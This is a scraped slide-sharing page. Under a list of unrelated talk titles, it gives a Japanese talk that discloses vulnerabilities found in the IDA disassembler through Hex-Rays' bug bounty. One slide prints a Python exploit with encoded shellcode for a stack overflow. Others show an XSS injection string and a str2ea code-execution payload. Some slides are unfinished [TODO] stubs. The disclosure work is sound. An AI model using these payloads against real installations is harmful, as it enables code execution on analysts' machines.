スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNetToru Tamaki
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Danieldanielhu54
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)Hiroki Ichikura
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...Toru Tamaki
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものですiPride Co., Ltd.
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A surveyToru Tamaki
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdftaisei2219
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Yuma Ohgami
 

Último (10)

スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Daniel
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
 

IDAの脆弱性とBug Bounty by 千田 雅明

  • 2. プロフィール !  セキュリティエンジニア !  リバースエンジニアリングが趣味 !  sutegoma2として様々なCTFに参加
  • 3. IDAとは? !  高機能逆アセンブラ !  マルウェアなどを静的解析する際に利用するソフトウェア !  Hex-raysのBug Bounty Program !  3000 USDの報奨金 !  IDAとHex-rays Decompilerのリモート攻撃が対象 !  2011年2月頃から開始 !  2014年1月までに11回支払われている https://www.hex-rays.com/bugbounty.shtml
  • 4. 調査方法 !  IDAで解析 !  IDA Main Program (for windows) !  Loader Modules !  Processor Modules !  Plugins !  SDK付属のプラグインのソースを読む !  実行プロセスの動作を監視 !  Sysinternals Tools: Procmon
  • 5. データの入出力関数の調査 !  Data Read & Copy !  read, lread, eread, qread, qlread, qfread, !  memcpy, strcpy, strncpy, qstrncpy, … !  IDB Database !  get_long, get_byte, ger_many_bytes, !  netnode_getblob, netnode_altval, netnode_supval, !  unpack_dd, unpack_ds, unpack_dw, … !  Heap Allocation !  malloc, calloc, realloc !  qalloc, qcalloc, qrelloc !  qvecto_reserve
  • 6. スクリプトやコマンド実行関数の調査 !  IDC Script !  CompileEx, CompileLineEx !  str2ea, calcexpr, calcexpr_long, calc_idc_expr, !  Eval, ExecIDC, Execute File, Execute Line,… !  コマンド実行 !  call_system !  system, CrateProcess,…
  • 7. 発見したIDAの脆弱性一覧 !  Heap Overflow => 多数 !  Stack Overflow => 2個 !  DLL, Script Preloading => 多数 !  Path Traversal => 数個 !  IDCスクリプトの自動実行 !  デバッガーの自動実行 !  ※賞金を得ていないものを含む
  • 8. Integer Overflowの脆弱性 !  問題点 !  ほぼ全てのモジュールが対象 !  Integer Overflowの対策が皆無 !  qcallocなどの関数内でも対策がない 多くのモジュールでBuffer Overflowにより、悪意のある コードを実行されてしまう可能性があった void *__cdecl qcalloc(size_t nitems, size_t itemsize) { void *result; // eax@2 void *v3; // ebx@3 if ( (signed int)(itemsize * nitems) > 0 ) { v3 = calloc(itemsize * nitems, 1u);
  • 9. 整数符号エラーの脆弱性 !  問題点 !  AIF Loader Moduleが対象 !  セクション名を解析時にStack Buffer Overflowが起こる Stack Buffer Overflowにより、悪意のあるコードを実行さ れてしまう可能性があった
  • 10. Classic Buffer Overflowの脆弱性 !  問題点 !  CLI Processor Moduleが対象 !  バイナリをHexの文字列に変換する処理にStack Buffer Overflow !  [TODO]
  • 11. Classic Buffer Overflowの脆弱性 !  特殊なコードの書き込みが必要 !  /GSでコンパイル済み !  スタックへ書き込む際にhexに変換される !  sprintf(“%02X”, buf[i]) !  [TODO]
  • 12. Classic Buffer Overflowの脆弱性 from idaapi import * from struct import * a = 0x5874768A-0x24 b = 0x5874764A-0x14 shellcode="htIIGX5tIIGHWPPPSRPPafhExfXf5YrfPDfhS3DTY09fhpzfXf5rRfP DTY01fRDfhpQDTY09fh3NfXf50rfPfharfXf5dsfPDTY09hBzPKX5ceLJPDfhptDfh 9tDTY01fh6OfXf5jAfPDTY09hinEufhKWDfhkdfXf5WcfPfhnLfXf5g2fPDTY09fhg RDTY01fhQBfhdtfXf5QXfPDfhlHDTY09fhaefXf57jfPDfh5PfXf5lVfPDTY09h7Yq oX5RFUnPDfhjLDfhttDTY09fh8wfXf5PvfPDTY09h3YIXX54FiYPDfhatDfhgtDTY0 1fh7xDfh8pfXf5dofPfhitDTY09fhlzfXf53FfPfhYtDTY09fhGSfXf59KfPfhWtDT Y01fhG0DfhRtTYf19fh3ZfXf55VfPDfhnvDfh5tDTY01fh6tfXf5FxfPDfhRvDfhJt DTY09fhr0fhCtDTY01hJRVdDfhlKfXf5MRfPDTY09fhUvDTY09fhmwDfhB4fXf5xhf PhdohchshinfhUifXf5C5fPDhehwshhystfhYjfXf5I6fPDhhm32hcalchexehfhTH fXf54ffPDfhRhfhKifXf5YDfPDTY09fhU1DRVWRTFfVNfhjsfXf5ErfPVUafhrWfYf 1Lo9f1To9TXLLLrH" payload="" payload+=("1"*8)+(pack("II",a,b)*(9334/8-1))+("x55"*6) payload+=shellcode payload+=("1"*((len(shellcode)&4)+10-(len(shellcode)%4)))+ (pack("II",a,b)*(16000/8)) node_id=netnode("$ cli").altval(0x0C000014,'o')
  • 13. Path Traversalの脆弱性 !  問題点 !  tilファイル内に含まれるファイル名をそのまま結合していた [TODO]
  • 14. HTML Injectionの脆弱性 !  問題点 !  解析結果をHTMLで保存した際にHTML Injection可能 !  get_root_filename関数で得られる実行ファイル名をエスケー プしていなかった 作成されたHTMLファイルを開いた場合に、XSSの可能性 があった from idaapi import * netnode("RootNode").set("</title><scritp>alert('XSS');</script>") save_database() fp = ecreateT("report.html") gen_file(OFILE_LST, fp, 0, 0, GENFLG_GENHTML) eclose(fp)
  • 15. Preloadingの脆弱性 !  問題点 !  読み込んだIDBファイルと同じディレクトリから、DLL, IDC Script, Python Scriptをロードしてしまう !  ida.idc, userload.idc !  windbg.exe, dbghelp.dll, dbgeng.dll, … !  idautils.py, idc.py, idaapi.py, … 意図していないファイルを読み込んでしまい、悪意のある コードが実行される可能性があった
  • 16. IDC Scirpt自動実行の脆弱性 !  問題点 !  str2ea関数内で暗黙的にIDC Scriptを実行 !  str2ea関数は各種イベント時に利用されている !  デバッガの実行時 !  Hintの表示時 IDBファイルをロード時に悪意のあるIDC Scriptを実行される可能性があった str2ea calcexpr_lon g calc_idc_expr CompileLine Ex Run
  • 17. str2eaを利用した攻撃 !  IDAのHint表示の動作 !  1. カーソル下の行の文字列を得る !  2. extract_nameに渡す !  3. str2ea関数に渡す !  extract_name関数 !  ida.cfg内のNameCharsに一致する文字列を返す !  NameChars !  .net Processor Moduleの場合に”()”などの制御文字が入る 関数呼び出しを成立させる文字列がstr2ea関数に渡る str2ea(“Exec(char(0x63)+char(0x61)+char(0x6C)+char0x63)”)
  • 18. Debugger自動実行の脆弱性 !  問題点 !  デバッガを自動起動 !  メモリダンプから作ったIDBファイルをロード時 !  デバッガイベントを自動評価 !  各種Event Condition !  Watch PointView IDBファイルをロード時に悪意のあるIDC Scriptが実行さ れる可能性があった
  • 19.